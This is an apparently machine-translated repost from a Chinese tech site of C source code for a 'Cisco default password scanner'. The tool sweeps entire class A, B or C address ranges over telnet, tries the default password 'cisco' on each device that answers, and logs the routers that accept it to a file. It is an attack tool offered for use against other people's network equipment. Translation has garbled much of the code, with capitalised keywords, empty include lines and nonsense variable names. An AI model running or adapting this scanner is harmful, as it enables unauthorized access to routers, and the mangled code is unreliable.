Shulou(Shulou.com)06/01 Report--

After breakfast in the morning, I read the source code of the final version of Cisco default password Scanner v1.3. It is simply limited in Chinese and English. Please criticize and correct it.

/ * Cisco default password Scanner v1.3 final version

The Cisco scanner can scan a class A, B, and C ip address pool with a default password of cisco.

Cisco routers that have not yet come and changed their passwords have scanned the records and saved them to a cisco.txt

In the file.

How to use it:

Class An address =. / ciscos 1271

Class B address =. / ciscos 127.0 2

Class C address =. / ciscos 127.0.03

Optional:

-t = timeout interval (default 3-5 seconds)

-C = number of threads set (preferably less than 300 threads)

:: Ravi_C::

Smolten@ureach.com

Sinicization: looking back on QQ:328504126

, /

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# include

# define SA struct sockaddr

# define SIN_LEN sizeof (struct sockaddr_in)

# define IPV4_ADDRLEN 16

Void ShowHelp (char *, char *)

Void ShowVer ()

{

Printf ("Cisco Scanner v1.3\ n")

}

Int ConnectCheck (struct sockaddr_in, int)

Const char * ipv4_ntop (int, const void *, char *, size_t)

FILE * stream

Int main (int argc, char * argv []) {

Int iTunes 0, 7, 7, classrooms, 0

Char DestIP [15], * NetworkID,c,*num3

Struct sockaddr_in DestAddress

If (argc

< 3) ShowHelp(argv[0], ""); NetworkID = argv[1]; num3=argv[2]; class=atoi(num3); opterr = 0; while((c = getopt(argc, argv, "C:t:")) != -1) { switch(c) { case 'C': Children = atoi(optarg); break; case 't': Timeout = atoi(optarg); break; case '?': ShowHelp(argv[0], "ERROR: unrecognized option"); break; } } if(Children < 1) ShowHelp(argv[0], "ERROR: invalid number of children"); if(Timeout < 1) ShowHelp(argv[0], "ERROR: invalid timeout"); ShowVer(); /*Class A*/ if (class==1) fprintf(stderr, "Scanning: %s.*.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n", NetworkID,Children,Timeout); /*Class B*/ if (class==2) fprintf(stderr, "Scanning: %s.*.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n", NetworkID,Children,Timeout); /*Class C*/ if (class==3) fprintf(stderr, "Scanning: %s.*\n output:cisco.txt\n threads:%i\n timeout:%i\n\n", NetworkID,Children,Timeout); DestAddress.sin_family = AF_INET; DestAddress.sin_port = htons(23); /*Class A*/ if (class==1){ for(k = 0; k < 256; k++) { for(j = 0; j < 256; j++) { for(i = 0; i < 256; i++) { if (i >

Children | | j > 0 | | k > 0) {

Wait & status)

}

Sprintf (DestIP, "% s.%d.%d.%d", NetworkID,k,j,i)

Inet_aton (DestIP, & DestAddress.sin_addr)

If (! fork ()) ConnectCheck (DestAddress, Timeout)

}

}

}

}

/ * Class financing /

If (class==2) {

For (j = 0; j)

< 256; j++) { for(i = 0; i < 256; i++) { if (i >

Children | | j > 0) {

Wait & status)

}

Sprintf (DestIP, "% s.%d.%d", NetworkID,j,i)

Inet_aton (DestIP, & DestAddress.sin_addr)

If (! fork ()) ConnectCheck (DestAddress, Timeout)

}

}

}

/ * Class accounts /

If (class==3) {

For (I = 0; I)

< 256; i++) { if (i >

Children) {

Wait & status)

}

Sprintf (DestIP, "% s% d", NetworkID, I)

Inet_aton (DestIP, & DestAddress.sin_addr)

If (! fork ()) ConnectCheck (DestAddress, Timeout)

}

}

For (;;) {

If ((waitpid (- 1, & status, WNOHANG) =-1) & & (errno = = ECHILD))

Exit (EXIT_SUCCESS)

}

}

Int ConnectCheck (struct sockaddr_in DestAddr, int Timeout)

{

Int result,ret,SocketFD

Char Hostname [60], buffer1 [64], buffer2 [64]

If ((SocketFD = socket (AF_INET, SOCK_STREAM, 0))

< 0) exit (EXIT_FAILURE); alarm(Timeout); result = connect(SocketFD, (SA *)&DestAddr, SIN_LEN); if (!result) { alarm(Timeout); memset(buffer1, '\0', 64); memset(buffer2, '\0', 64); if ((ret = read(SocketFD, buffer1, 64)) >

0)

{

Ret = read (SocketFD, buffer1, 64)

Send (SocketFD, "cisco\ r", 6Jing 0)

Ret = read (SocketFD, buffer2, 64)

If ((memcmp (buffer2, "\ r\ nPass", 6)) & &

! (memcmp (buffer1

"\ r\ n\ r\ nUser Access Verification\ r\ n\ r\ nPassword", 40)

{

Stream = fopen ("cisco.txt", "a")

Printf ("Cisco found:% s\ n\ a"

Ipv4_ntop (AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59))

Fprintf (stream, "% s\ n"

Ipv4_ntop (AF_INET,&DestAddr.sin_addr.s_addr,Hostname,59))

Fclose (stream)

}}

Close (SocketFD)

}

Exit (EXIT_SUCCESS)

}

Const char *

Ipv4_ntop (int family, const void * addrptr, char * strptr, size_t len) {

Const u_char * p = (const u_char *) addrptr

If (family = = AF_INET) {

Char temp[IPV4 _ ADDRLEN]

Snprintf (temp, sizeof (temp), "% d.%d.%d.%d", p [0], p [1], p [2], p [3])

If (strlen (temp) > = len) {

Errno = ENOSPC

Return (NULL)

}

Strcpy (strptr, temp)

Return (strptr)

}

Errno = EAFNOSUPPORT

Return (NULL)

}

Void ShowHelp (char * argv0, char * ErrMsg) {

ShowVer ()

Printf ("output will be stored in oh cisco.txt file\ n")

Printf ("how to use:% s [optional]\ n", argv0)

Printf ("scan a Class An address: ciscos 1271\ n")

Printf ("scan a Class B address: ciscos 127.0 2\ n")

Printf ("scan a Class C address: ciscos 127.0.03\ n")

Printf ("[- C] maximum number of threads that can be opened\ n")

Printf ("[- t] seconds of timeout\ n\ n")

Exit (EXIT_FAILURE)

}

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